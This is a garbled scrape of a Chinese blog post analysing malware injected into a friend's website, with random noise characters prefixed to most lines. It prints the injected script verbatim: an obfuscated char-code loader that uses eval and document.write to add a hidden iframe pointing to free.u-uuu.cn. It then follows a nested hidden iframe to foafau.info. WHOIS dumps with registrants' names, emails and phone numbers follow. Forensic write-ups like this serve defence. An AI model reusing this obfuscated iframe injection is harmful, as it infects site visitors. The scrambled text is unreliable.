首发在我的博客里面，
* t6 XU ML'4 2z
Y http://www.areway.cn/?p=175 jIv%?8+% *Dtwr #P.jl pZk 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
5JW+&XA `*cT79 <script>t=’60,105,102,114,97,109,101,
CB<1 ] Z 32,115,114,99,61,104,116,116,112,58,47,47,
E{kh)- 102,114,101,101,46,117,45,117,117,117,46,99,
AWHB^}!} 110,47,101,114,114,111,114,46,104,116,109,
e:hkWcV 32,119,105,100,116,104,61,49,48,48,32,104,
<MZ$ b aK 101,105,103,104,116,61,48,62,60,47,105,102,
&dF$:$'s 114,97,109,101,62′;
Rn~FCj,- t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
vZj^&/F$=g oEbgyT gB <script>t=’60,105,102,114,97,109,101,32,115,
|Ak>kQJ(1z 114,99,61,104,116,116,112,58,47,47,102,114,
eZWN9#p2 101,101,46,117,45,117,117,117,46,99,110,47,
M[ $(Pu 101,114,114,111,114,46,104,116,109,32,119,
Qna
^Ry?6) 105,100,116,104,61,49,48,48,32,104,101,105,
!-b4@=f: 103,104,116,61,48,62,60,47,105,102,114,97,
,cPNZ-% 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
rLs)*A! document.write(t);</script>
Y^m 2ealC +N5#EpW <html xmlns=”
2ME"=! &5 http://www.w3.org/1999/xhtml 0JQy-hpF “>
:_JZn`Cab <head>
I G0$OtG <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
2|@@xF <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
f I>>w )5 <title>首页 - 爱生活家庭网
?#!Hm`\. kKVd4B[#* 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
?Y+xuY/t 转换字符串后的大概内容是（谁点击后果自付）：
ot] eaad <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
{[G2{ijRz ]vJZ v"ACn 查询玉米u-uuu.cn的详细信息：
O&l(` *P Domain Name: u-uuu.cn
*')BP;|V` ROID: 20070901s10001s64972306-cn
5QB] 2c^ Domain Status: ok
vzJ69%E_ Registrant Organization: 王雷
.w/#S-at Registrant Name: 王雷
.Gq.s t% Administrative Email:
czlovexs@126.com Os^ sOOSY Sponsoring Registrar: 北京万网志成科技有限公司
vzK* 1R5 Name Server:ns.yovole.com
|7]7~ 6l Name Server:ns1.yovole.com
Ou </{l/ Registration Date: 2007-09-01 17:54
' Bb]< L` Expiration Date: 2008-09-01 17:54
Epj 最后PING了一下地址 都没有什么….
J01w\#62pQ 7)$U >|= 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
";}Lf1M9 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Vd3'dq8/? <script language=”javascript” src=”
l%\3'N] http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w]GoeIg({ >
Dww]D|M 这个玉米应该有可能是木马作者的：
r \H+=2E' foafau.info的详细信息：
H=] )o2 1 Access to INFO WHOIS information is provided to assist persons in
!R; P"%PHV determining the contents of a domain name registration record in the
'#$Y :/ Afilias registry database. The data in this record is provided by
C\Q3vG Afilias Limited for informational purposes only, and Afilias does not
jcHs! guarantee its accuracy. This service is intended only for query-based
u':- DgK access. You agree that you will use this data only for lawful purposes
<HM\ZDo@P and that, under no circumstances will you use this data to: (a) allow,
+jYO?uaT enable, or otherwise support the transmission by e-mail, telephone, or
yjs5=\@ facsimile of mass unsolicited, commercial advertising or solicitations
J"QXu M to entities other than the data recipient’s own existing customers; or
_H}y7 (b) enable high volume, automated, electronic processes that send
%])- +T queries or data to the systems of Registry Operator, a Registrar, or
y[[f?rxz> Afilias except as reasonably necessary to register domain names or
'EU{%\qM modify existing registrations. All rights reserved. Afilias reserves
j)ZvlRi, the right to modify these terms at any time. By submitting this query,
CN8Ge Z-G you agree to abide by this policy.
^@ s!"c Domain ID:D22418703-LRMS
:J]S+tQ) Domain Name:FOAFAU.INFO
WsRG>w3" Created On:20-Nov-2007 16:05:42 UTC
UgDa i?b1 Last Updated On:20-Nov-2007 16:05:44 UTC
-q' n p0H Expiration Date:20-Nov-2008 16:05:42 UTC
jUt rFl Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
16/+ O$#y Status:CLIENT DELETE PROHIBITED
<_@ K4zV Status:CLIENT RENEW PROHIBITED
6}
"?eW Status:CLIENT TRANSFER PROHIBITED
K K4>8zGR Status:CLIENT UPDATE PROHIBITED
*6 -;iT8 Status:TRANSFER PROHIBITED
6la# 0U23 Registrant ID:GODA-040110615
?xh_ qy; Registrant Name:liu hong
,6S a Registrant Organization:
^_6%dKLK Registrant Street1:beijing
## d \|r Registrant Street2:
W7.O(s,32 Registrant Street3:
9UTWq 7KJ Registrant City:beijing
[0.>:wT Registrant State/Province:
W"Hjn/xSS Registrant Postal Code:100000
^Dh j<_ Registrant Country:CN
Ntr5Q
IPd Registrant Phone:+86.860108888777
X<@yt HBv Registrant Phone Ext.:
6 G X'&z Registrant FAX:
Ag}V >i' Registrant FAX Ext.:
qd{o64;| Registrant Email:bbbshiji@163.com
pcXY6[#N Admin ID:GODA-240110615
HX\@Qws Admin Name:liu hong
;wND?: Admin Organization:
> "?HbR9 Admin Street1:beijing
$_ub.g| Admin Street2:
'7o' u] Admin Street3:
#@H{Ypn` Admin City:beijing
'&Ox,i]t Admin State/Province:
z"o;|T : Admin Postal Code:100000
b7R#tT Admin Country:CN
NHA
2 i Admin Phone:+86.860108888777
Gir_.yc/ Admin Phone Ext.:
9\3% 5B7 Admin FAX:
#b\&Md|; Admin FAX Ext.:
xP*9UXZ4P Admin Email:bbbshiji@163.com
wpu]{~Y Billing ID:GODA-340110615
2!>phE Billing Name:liu hong
&:= Billing Organization:
Gp9 >R~$ Billing Street1:beijing
{YZ)Ia qZ Billing Street2:
C.L5\"% Billing Street3:
}hyK/QUCoN Billing City:beijing
ac>}$Uw) Billing State/Province:
b0X*+q Billing Postal Code:100000
y2>v'%]2 Billing Country:CN
T~8` {^ Billing Phone:+86.860108888777
AbUU#C7 Billing Phone Ext.:
8OH<ppi Billing FAX:
ASY
uZ Billing FAX Ext.:
6CO>Tg:% Billing Email:bbbshiji@163.com
KIn^,d0H Tech ID:GODA-140110615
y$s}-O]/- Tech Name:liu hong
L` FsK64@ Tech Organization:
^!k^=ST1J Tech Street1:beijing
S#0y\ Tech Street2:
Y>t*L#i Tech Street3:
}D
dg Tech City:beijing
K4SR` Q Tech State/Province:
nkHr(tF
7 Tech Postal Code:100000
Iu|G*~\ Tech Country:CN
a<t UpI$ Tech Phone:+86.860108888777
asP> (Li Tech Phone Ext.:
I@cKiB Tech FAX:
E#Ynn6 Tech FAX Ext.:
i_g="^ Tech Email:bbbshiji@163.com
9 U1)sPH; Name Server:NS27.DOMAINCONTROL.COM
+A
W6 >yV` Name Server:NS28.DOMAINCONTROL.COM
a$#, 'UB Name Server:
OQ#gQ6;?0 Name Server:
~] Mq' Name Server:
.Y'kDuUu Name Server:
B;4hI? Name Server:
-qfd)A6] Name Server:
#@BM1BpQ Name Server:
I5'^tBf[{ Name Server:
Xn.zN>mB Name Server:
9Q=g]int u Name Server:
OTtSMO
Name Server:
H (Mlf iJ42 ` 51 接着下载每个文件里面的代码：
tn qW!F~ 一步一步看..
/r@P\_ 
H: U1#bQQ: 
;G!X?(%+ 
meR%);\ 
Bx
E1Ky8@A 
aFo%B; 8 m 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
